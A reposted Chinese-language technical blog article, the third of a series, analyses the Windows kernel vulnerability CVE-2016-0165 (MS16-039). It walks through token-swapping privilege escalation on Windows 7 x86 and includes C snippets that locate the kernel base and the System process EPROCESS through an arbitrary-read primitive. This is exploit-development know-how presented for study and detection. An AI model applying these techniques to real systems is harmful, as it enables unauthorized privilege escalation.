最新消息:图 床

從 CVE-2016-0165 說起:分析、利用和檢測(下)

COOL IAM 494浏览 0评论

作者:Leeqwind
作者博客:https://xiaodaozhi.com/exploit/56.html

本文將對 CVE-2016-0165 (MS16-039) 漏洞進行一次簡單的分析,並嘗試構造其漏洞利用和內核提權驗證代碼,以及實現對應利用樣本的檢測邏輯。分析環境為 Windows 7 x86 SP1 基礎環境的虛擬機,配置 1.5GB 的內存。

本文分為三篇:

從 CVE-2016-0165 說起:分析、利用和檢測(上)

從 CVE-2016-0165 說起:分析、利用和檢測(中)

從 CVE-2016-0165 說起:分析、利用和檢測(下)

0x6 提權

前面的章節實現了由用戶進程控制的任意內存地址讀寫的能力,接下來將通過該能力實現內核提權。提權,意味着進程特權級的提升,提權之後當前進程擁有的權限將高於提權之前,將可執行在原本特權級別下所無法執行的很多操作,並能夠訪問原本由於 ACL 或完整性校驗機制限制所不能訪問的特定文件、註冊表或進程等對象。


Token

在 Windows 系統中的內核提權通常方法是將目標進程的 Token 結構數據或指針替換成 System 進程等系統進程的 Token 結構數據或指針。這樣一來進程將以系統進程的身份執行任何行為,所有需要校驗令牌的操作都將可以暢通無阻地進行。

第一步首先需要定位到 NT 執行體模塊的內存地址。操作系統為我們提供了枚舉內核模塊的 EnumDeviceDrivers 函數。該函數用於獲取系統中的所有設備驅動程序的加載地址。NT 執行體模塊作為第一內核模塊,其地址會出現在地址數組的第一個元素中。

DWORD_PTR
xxGetNtoskrnlAddress(VOID)
{
    DWORD_PTR AddrList[500] = { 0 };
    DWORD cbNeeded = 0;
    EnumDeviceDrivers((LPVOID *)&AddrList, sizeof(AddrList), &cbNeeded);
    return AddrList[0];
}

清單 6-1 獲取內核執行體模塊地址的驗證代碼片段

在 NT 執行體模塊中存在 PsInitialSystemProcess 導出變量,在系統啟動時 PspInitPhase0 函數執行期間該導出變量被賦值為 System 進程的 EPROCESS 地址。那麼接下來只要獲得 PsInitialSystemProcess 變量在 NT 執行體模塊中的偏移,就可以計算出其在當前系統環境中的絕對線性地址。

DWORD_PTR
xxGetSysPROCESS(VOID)
{
    DWORD_PTR Module = 0x00;
    DWORD_PTR NtAddr = 0x00;
    Module = (DWORD_PTR)LoadLibraryA("ntkrnlpa.exe");
    NtAddr = (DWORD_PTR)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
    FreeLibrary((HMODULE)Module);
    NtAddr = NtAddr - Module;
    Module = xxGetNtoskrnlAddress();
    if (Module == 0x00)
    {
        return 0x00;
    }
    NtAddr = NtAddr + Module;
    if (!xxPointToGet(NtAddr, &NtAddr, sizeof(DWORD_PTR)))
    {
        return 0x00;
    }
    return NtAddr;
}

清單 6-2 獲取 System 進程 EPROCESS 對象基地址的驗證代碼

在當前 32 位的 Windows 7 操作系統環境下,由於是單核 CPU 並且支持 PAE 機制,所以系統加載的 NT 執行體是 ntkrnlpa.exe 模塊。獲得 PsInitialSystemProcess 變量的地址后,通過前面實現的任意內核地址讀取功能獲取該地址存儲的數值,成功后就得到了 System 進程的進程體 EPROCESS 的基地址。

[9] Kernel Pool Exploitation on Windows 7

https://media.blackhat.com/bh-dc-11/Mandt/BlackHat_DC_2011_Mandt_kernelpool-wp.pdf

[10] SURFOBJ structure

https://msdn.microsoft.com/en-us/library/windows/hardware/ff569901(v=vs.85).aspx

[11] THE BMP FILE FORMAT

http://www.ece.ualberta.ca/~elliott/ee552/studentAppNotes/2003_w/misc/bmp_file_format/bmp_file_format.htm

[12] Microsoft 安全公告 MS16-039 – 嚴重

https://technet.microsoft.com/library/security/ms16-039


转载请注明:IAMCOOL » 從 CVE-2016-0165 說起:分析、利用和檢測(下)

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x